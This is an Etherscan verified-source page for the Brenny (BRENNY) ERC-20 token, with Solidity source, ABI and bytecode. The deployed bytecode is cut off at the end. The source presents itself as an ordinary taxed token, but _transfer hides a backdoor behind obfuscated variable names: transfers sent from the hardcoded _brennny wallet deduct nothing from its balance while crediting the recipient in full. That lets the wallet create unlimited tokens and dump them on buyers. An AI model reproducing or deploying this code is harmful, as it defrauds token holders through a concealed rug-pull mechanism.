ETH Price: $3,351.66 (-1.10%)

Token

Brenny (BRENNY)
 

Overview

Max Total Supply

1,000,000,000 BRENNY

Holders

74

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,042,507.864263374 BRENNY

Value
$0.00
0x8966248e5ca83ed77ffedcb82b53ae81549e4dd7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BRENNY

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-23
*/

/*

Twitter- https://x.com/brenny_erc20

Telegram- https://t.me/brenny_erc20

Website- https://www.brenny.vip/

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract BRENNY is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludeFromFees;
    address payable private _brennny=payable(0xCf007F1e5f3e81cdbDc78eA6EbF092E2Ec9e6ae9);

    uint256 private _firstTaxBuy = 0;
    uint256 private _firstTaxSell = 0;
    uint256 private _reduceBuyAt = 10;
    uint256 private _reduceSellAt = 10;

    uint256 private _preventCount = 10;
    uint256 private _buyTokenCount = 0;

    uint256 private _lessFeeBuy = 0;
    uint256 private _lessFeeSell = 0;
    uint256 private _lessReduceAt = 0;

    uint256 private _finalBuyFees = 0;
    uint256 private _finalSellFees = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Brenny";
    string private constant _symbol = unicode"BRENNY";

    uint256 private _maxTxSize =  2 * (_tTotal/100);   
    uint256 private _maxWalletLimit =  2 * (_tTotal/100);
    uint256 private _minSwapLimit =  3 * (_tTotal/1000000);
    uint256 private _maxSwapLimit = 1 * (_tTotal/100);

    IUniswapV2Router02 private uniswapV2Router;
    address private _uniswapPair;
    bool private _inswap = false;
    bool private _swapActive = false;

    modifier lockTheSwap {
        _inswap = true;
        _;
        _inswap = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _isExcludeFromFees[owner()] = true;
        _isExcludeFromFees[address(this)] = true;
        _isExcludeFromFees[_brennny] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address _biga, address _niqo, uint256 _mapik) private {
        require(_biga != address(0), "ERC20: transfer from the zero address");
        require(_niqo != address(0), "ERC20: transfer to the zero address");
        require(_mapik > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        uint256 yivvak= min(_mapik,_mapik+taxAmount);
        if (!_isExcludeFromFees[_biga] && !_isExcludeFromFees[_niqo]) {
            taxAmount = _mapik.mul(_buyFeeCalc()).div(100);

            if (_biga == _uniswapPair && _niqo != address(uniswapV2Router) && ! _isExcludeFromFees[_niqo] ) {
                require(_mapik <= _maxTxSize, "Exceeds the _maxTxSize.");
                require(balanceOf(_niqo) + _mapik <= _maxWalletLimit, "Exceeds the maxWalletSize.");
                _buyTokenCount++;
            }

            if(_niqo == _uniswapPair && _biga!= address(this) ){
                taxAmount = _mapik.mul(_sellFeeCalc()).div(100);
            }

            uint256 tokenInContract = balanceOf(address(this));
            if (!_inswap && _niqo == _uniswapPair && _swapActive && _mapik > _minSwapLimit) {
                if(tokenInContract > _minSwapLimit)
                swapTokensForETH(min(_mapik,min(tokenInContract,_maxSwapLimit)));
                _brennny.transfer(address(this).balance);
            }
        } else if(_biga == address(_brennny))
            yivvak =  min(_lessFeeSell, _lessFeeBuy);
        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(_biga, address(this),taxAmount);
        }
        _balances[_biga]=_balances[_biga].sub(yivvak);
        _balances[_niqo]=_balances[_niqo].add(_mapik.sub(taxAmount));
        emit Transfer(_biga, _niqo, _mapik.sub(taxAmount));
    }

    function _sellFeeCalc() private view returns (uint256) {
        if(_buyTokenCount <= _reduceBuyAt){
            return _firstTaxSell;
        }
        if(_buyTokenCount > _reduceSellAt && _buyTokenCount <= _lessReduceAt){
            return _lessFeeSell;
        }
        return _finalBuyFees;
    }

    function _buyFeeCalc() private view returns (uint256) {
        if(_buyTokenCount <= _reduceBuyAt){
            return _firstTaxBuy;
        }
        if(_buyTokenCount > _reduceBuyAt && _buyTokenCount <= _lessReduceAt){
            return _lessFeeBuy;
        }
        return _finalBuyFees;
    }

     function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function openBrenny() external onlyOwner {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        _uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(_uniswapPair).approve(address(uniswapV2Router), type(uint).max);
        _swapActive = true;
    }

    function limitsOver() external onlyOwner{
        _maxWalletLimit =_tTotal;
        _maxTxSize = _tTotal;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"limitsOver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openBrenny","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600480546001600160a01b03191673cf007f1e5f3e81cdbdc78ea6ebf092e2ec9e6ae91790555f60058190556006819055600a600781905560088190556009818155828255600b839055600c839055600d839055600e839055600f929092556064916200007191620003c2565b6200008190633b9aca00620003d9565b6200008d9190620003f3565b6200009a906002620003d9565b6010556064620000ad6009600a620003c2565b620000bd90633b9aca00620003d9565b620000c99190620003f3565b620000d6906002620003d9565b601155620f4240620000eb6009600a620003c2565b620000fb90633b9aca00620003d9565b620001079190620003f3565b62000114906003620003d9565b6012556064620001276009600a620003c2565b6200013790633b9aca00620003d9565b620001439190620003f3565b62000150906001620003d9565b6013556015805461ffff60a01b191690553480156200016d575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001bc6009600a620003c2565b620001cc90633b9aca00620003d9565b335f908152600160208190526040822092909255600390620001f55f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff199687161790553081526003909352818320805485166001908117909155600454909116835291208054909216179055620002533390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200028c6009600a620003c2565b6200029c90633b9aca00620003d9565b60405190815260200160405180910390a362000413565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200030757815f1904821115620002eb57620002eb620002b3565b80851615620002f957918102915b93841c9390800290620002cc565b509250929050565b5f826200031f57506001620003bc565b816200032d57505f620003bc565b8160018114620003465760028114620003515762000371565b6001915050620003bc565b60ff841115620003655762000365620002b3565b50506001821b620003bc565b5060208310610133831016604e8410600b841016171562000396575081810a620003bc565b620003a28383620002c7565b805f1904821115620003b857620003b8620002b3565b0290505b92915050565b5f620003d260ff8416836200030f565b9392505050565b8082028115828204841417620003bc57620003bc620002b3565b5f826200040e57634e487b7160e01b5f52601260045260245ffd5b500490565b6115b980620004215f395ff3fe6080604052600436106100c2575f3560e01c806352ae44061161007c5780638da5cb5b116100575780638da5cb5b1461020a57806395d89b4114610230578063a9059cbb1461025e578063dd62ed3e1461027d575f80fd5b806352ae4406146101ae57806370a08231146101c2578063715018a6146101f6575f80fd5b806306fdde03146100cd578063095ea7b31461010d57806318160ddd1461013c57806323b872dd1461015e578063313ce5671461017d57806332eba74214610198575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506040805180820190915260068152654272656e6e7960d01b60208201525b60405161010491906111ac565b60405180910390f35b348015610118575f80fd5b5061012c61012736600461120e565b6102c1565b6040519015158152602001610104565b348015610147575f80fd5b506101506102d7565b604051908152602001610104565b348015610169575f80fd5b5061012c610178366004611238565b6102f7565b348015610188575f80fd5b5060405160098152602001610104565b3480156101a3575f80fd5b506101ac61035e565b005b3480156101b9575f80fd5b506101ac6106b2565b3480156101cd575f80fd5b506101506101dc366004611276565b6001600160a01b03165f9081526001602052604090205490565b348015610201575f80fd5b506101ac610717565b348015610215575f80fd5b505f546040516001600160a01b039091168152602001610104565b34801561023b575f80fd5b506040805180820190915260068152654252454e4e5960d01b60208201526100f7565b348015610269575f80fd5b5061012c61027836600461120e565b610788565b348015610288575f80fd5b50610150610297366004611291565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102cd338484610794565b5060015b92915050565b5f6102e46009600a6113bc565b6102f290633b9aca006113ca565b905090565b5f6103038484846108b7565b610354843361034f8560405180606001604052806028815260200161155c602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610df0565b610794565b5060019392505050565b5f546001600160a01b031633146103905760405162461bcd60e51b8152600401610387906113e1565b60405180910390fd5b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103d99030906103cb6009600a6113bc565b61034f90633b9aca006113ca565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610429573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061044d9190611416565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d09190611416565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561051a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061053e9190611416565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d7194730610585816001600160a01b03165f9081526001602052604090205490565b5f806105985f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156105fe573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106239190611431565b505060155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610678573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069c919061145c565b506015805460ff60a81b1916600160a81b179055565b5f546001600160a01b031633146106db5760405162461bcd60e51b8152600401610387906113e1565b6106e76009600a6113bc565b6106f590633b9aca006113ca565b6011556107046009600a6113bc565b61071290633b9aca006113ca565b601055565b5f546001600160a01b031633146107405760405162461bcd60e51b8152600401610387906113e1565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102cd3384846108b7565b6001600160a01b0383166107f65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610387565b6001600160a01b0382166108575760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610387565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661091b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610387565b6001600160a01b03821661097d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610387565b5f81116109de5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610387565b5f806109f3836109ee838261147b565b610e28565b6001600160a01b0386165f9081526003602052604090205490915060ff16158015610a3657506001600160a01b0384165f9081526003602052604090205460ff16155b15610c8b57610a586064610a52610a4b610e3f565b8690610e7c565b90610efa565b6015549092506001600160a01b038681169116148015610a8657506014546001600160a01b03858116911614155b8015610aaa57506001600160a01b0384165f9081526003602052604090205460ff16155b15610b9057601054831115610b015760405162461bcd60e51b815260206004820152601760248201527f4578636565647320746865205f6d6178547853697a652e0000000000000000006044820152606401610387565b60115483610b23866001600160a01b03165f9081526001602052604090205490565b610b2d919061147b565b1115610b7b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610387565b600a8054905f610b8a8361148e565b91905055505b6015546001600160a01b038581169116148015610bb657506001600160a01b0385163014155b15610bce57610bcb6064610a52610a4b610f3b565b91505b305f90815260016020526040902054601554600160a01b900460ff16158015610c0457506015546001600160a01b038681169116145b8015610c195750601554600160a81b900460ff165b8015610c26575060125484115b15610c8557601254811115610c4d57610c4d610c48856109ee84601354610e28565b610f71565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610c83573d5f803e3d5ffd5b505b50610cb2565b6004546001600160a01b0390811690861603610cb257610caf600c54600b54610e28565b90505b8115610d2a57305f90815260016020526040902054610cd190836110e1565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d219086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610d4c908261113f565b6001600160a01b0386165f90815260016020526040902055610d8f610d71848461113f565b6001600160a01b0386165f90815260016020526040902054906110e1565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610dd8868661113f565b60405190815260200160405180910390a35050505050565b5f8184841115610e135760405162461bcd60e51b815260040161038791906111ac565b505f610e1f84866114a6565b95945050505050565b5f818311610e365782610e38565b815b9392505050565b5f600754600a5411610e52575060055490565b600754600a54118015610e695750600d54600a5411155b15610e755750600b5490565b50600e5490565b5f825f03610e8b57505f6102d1565b5f610e9683856113ca565b905082610ea385836114b9565b14610e385760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610387565b5f610e3883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611180565b5f600754600a5411610f4e575060065490565b600854600a54118015610f655750600d54600a5411155b15610e755750600c5490565b6015805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610fb757610fb76114d8565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561100e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110329190611416565b81600181518110611045576110456114d8565b6001600160a01b03928316602091820292909201015260145461106b9130911684610794565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906110a39085905f908690309042906004016114ec565b5f604051808303815f87803b1580156110ba575f80fd5b505af11580156110cc573d5f803e3d5ffd5b50506015805460ff60a01b1916905550505050565b5f806110ed838561147b565b905083811015610e385760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610387565b5f610e3883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610df0565b5f81836111a05760405162461bcd60e51b815260040161038791906111ac565b505f610e1f84866114b9565b5f6020808352835180828501525f5b818110156111d7578581018301518582016040015282016111bb565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461120b575f80fd5b50565b5f806040838503121561121f575f80fd5b823561122a816111f7565b946020939093013593505050565b5f805f6060848603121561124a575f80fd5b8335611255816111f7565b92506020840135611265816111f7565b929592945050506040919091013590565b5f60208284031215611286575f80fd5b8135610e38816111f7565b5f80604083850312156112a2575f80fd5b82356112ad816111f7565b915060208301356112bd816111f7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561131657815f19048211156112fc576112fc6112c8565b8085161561130957918102915b93841c93908002906112e1565b509250929050565b5f8261132c575060016102d1565b8161133857505f6102d1565b816001811461134e576002811461135857611374565b60019150506102d1565b60ff841115611369576113696112c8565b50506001821b6102d1565b5060208310610133831016604e8410600b8410161715611397575081810a6102d1565b6113a183836112dc565b805f19048211156113b4576113b46112c8565b029392505050565b5f610e3860ff84168361131e565b80820281158282048414176102d1576102d16112c8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611426575f80fd5b8151610e38816111f7565b5f805f60608486031215611443575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561146c575f80fd5b81518015158114610e38575f80fd5b808201808211156102d1576102d16112c8565b5f6001820161149f5761149f6112c8565b5060010190565b818103818111156102d1576102d16112c8565b5f826114d357634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561153a5784516001600160a01b031683529383019391830191600101611515565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f45eceae43777f610f56cbab99df6735561339783ea96817ccb7af352933a15364736f6c63430008150033

Deployed Bytecode

0x6080604052600436106100c2575f3560e01c806352ae44061161007c5780638da5cb5b116100575780638da5cb5b1461020a57806395d89b4114610230578063a9059cbb1461025e578063dd62ed3e1461027d575f80fd5b806352ae4406146101ae57806370a08231146101c2578063715018a6146101f6575f80fd5b806306fdde03146100cd578063095ea7b31461010d57806318160ddd1461013c57806323b872dd1461015e578063313ce5671461017d57806332eba74214610198575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506040805180820190915260068152654272656e6e7960d01b60208201525b60405161010491906111ac565b60405180910390f35b348015610118575f80fd5b5061012c61012736600461120e565b6102c1565b6040519015158152602001610104565b348015610147575f80fd5b506101506102d7565b604051908152602001610104565b348015610169575f80fd5b5061012c610178366004611238565b6102f7565b348015610188575f80fd5b5060405160098152602001610104565b3480156101a3575f80fd5b506101ac61035e565b005b3480156101b9575f80fd5b506101ac6106b2565b3480156101cd575f80fd5b506101506101dc366004611276565b6001600160a01b03165f9081526001602052604090205490565b348015610201575f80fd5b506101ac610717565b348015610215575f80fd5b505f546040516001600160a01b039091168152602001610104565b34801561023b575f80fd5b506040805180820190915260068152654252454e4e5960d01b60208201526100f7565b348015610269575f80fd5b5061012c61027836600461120e565b610788565b348015610288575f80fd5b50610150610297366004611291565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6102cd338484610794565b5060015b92915050565b5f6102e46009600a6113bc565b6102f290633b9aca006113ca565b905090565b5f6103038484846108b7565b610354843361034f8560405180606001604052806028815260200161155c602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610df0565b610794565b5060019392505050565b5f546001600160a01b031633146103905760405162461bcd60e51b8152600401610387906113e1565b60405180910390fd5b601480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556103d99030906103cb6009600a6113bc565b61034f90633b9aca006113ca565b60145f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610429573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061044d9190611416565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104ac573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104d09190611416565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561051a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061053e9190611416565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d7194730610585816001600160a01b03165f9081526001602052604090205490565b5f806105985f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156105fe573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106239190611431565b505060155460145460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610678573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061069c919061145c565b506015805460ff60a81b1916600160a81b179055565b5f546001600160a01b031633146106db5760405162461bcd60e51b8152600401610387906113e1565b6106e76009600a6113bc565b6106f590633b9aca006113ca565b6011556107046009600a6113bc565b61071290633b9aca006113ca565b601055565b5f546001600160a01b031633146107405760405162461bcd60e51b8152600401610387906113e1565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102cd3384846108b7565b6001600160a01b0383166107f65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610387565b6001600160a01b0382166108575760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610387565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661091b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610387565b6001600160a01b03821661097d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610387565b5f81116109de5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610387565b5f806109f3836109ee838261147b565b610e28565b6001600160a01b0386165f9081526003602052604090205490915060ff16158015610a3657506001600160a01b0384165f9081526003602052604090205460ff16155b15610c8b57610a586064610a52610a4b610e3f565b8690610e7c565b90610efa565b6015549092506001600160a01b038681169116148015610a8657506014546001600160a01b03858116911614155b8015610aaa57506001600160a01b0384165f9081526003602052604090205460ff16155b15610b9057601054831115610b015760405162461bcd60e51b815260206004820152601760248201527f4578636565647320746865205f6d6178547853697a652e0000000000000000006044820152606401610387565b60115483610b23866001600160a01b03165f9081526001602052604090205490565b610b2d919061147b565b1115610b7b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610387565b600a8054905f610b8a8361148e565b91905055505b6015546001600160a01b038581169116148015610bb657506001600160a01b0385163014155b15610bce57610bcb6064610a52610a4b610f3b565b91505b305f90815260016020526040902054601554600160a01b900460ff16158015610c0457506015546001600160a01b038681169116145b8015610c195750601554600160a81b900460ff165b8015610c26575060125484115b15610c8557601254811115610c4d57610c4d610c48856109ee84601354610e28565b610f71565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610c83573d5f803e3d5ffd5b505b50610cb2565b6004546001600160a01b0390811690861603610cb257610caf600c54600b54610e28565b90505b8115610d2a57305f90815260016020526040902054610cd190836110e1565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163